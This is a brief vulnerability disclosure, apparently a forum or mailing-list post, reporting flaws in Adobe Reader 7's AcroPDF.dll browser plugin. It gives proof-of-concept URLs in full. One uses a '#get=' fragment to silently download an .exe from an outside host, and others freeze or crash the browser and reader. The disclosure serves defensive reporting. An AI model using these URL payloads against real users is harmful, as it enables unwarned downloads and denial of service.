🚀 go-pugleaf

Hi anybody, I just send this bug to Adobe.

Author: shinnai
Mail: shinnai@autistici.org

Multiple vulnerabilities in AcroPDF.dll.
Tested on Windows XP Professional SP2 (all patched) using Internet Explorer 7 (version 7.0.5730.11) with Adobe Reader 7.0.7.0

I found some vulnerabilities in AcroPDF.dll version 7.0.7.0 and minor (I suppose they work fine also with the version 7.0.8.0 but I can't test it now). Browsers like Internet Explorer use this dll to open PDF files either in the browser window or in a separate Adobe Acrobat window.
Well these are the vulnerabilities:

Arbitrary download: writing in browser "http://localhost/pdfpoc.pdf#get=http://www.shinnai.altervista.org/pdfpoc.exe"
(don�t worry, pdfpoc.exe is only a txt file with renamed extension) will download the pdfpoc.exe in the internet temporary file folder without advisory or warning. Yes I know, it�s not dangerous, but I don�t like to download something unknown on my pc, besides are you sure that no one use his software to launch from this directory something I downloaded before without knowing?.
Another thing: instead of "get" you can use words like "load" or "put".

Infinite loop (this is very simple): writing in the browser "http://localhost/pdfpoc.pdf#search=0#get=0" will freeze the browser

Crash (you have to use a pdf file with above 3 MB of dimension): writing in the browser "http://localhost/pdfpoc.pdf#search=poc" will open the pdf file in the browser starting automatically the search of the word "poc".
Well, closing the browser before the search is finished or stopped, will cause the crash of AcroRd32.exe

That's all folks! Be safe and sorry for my poor english.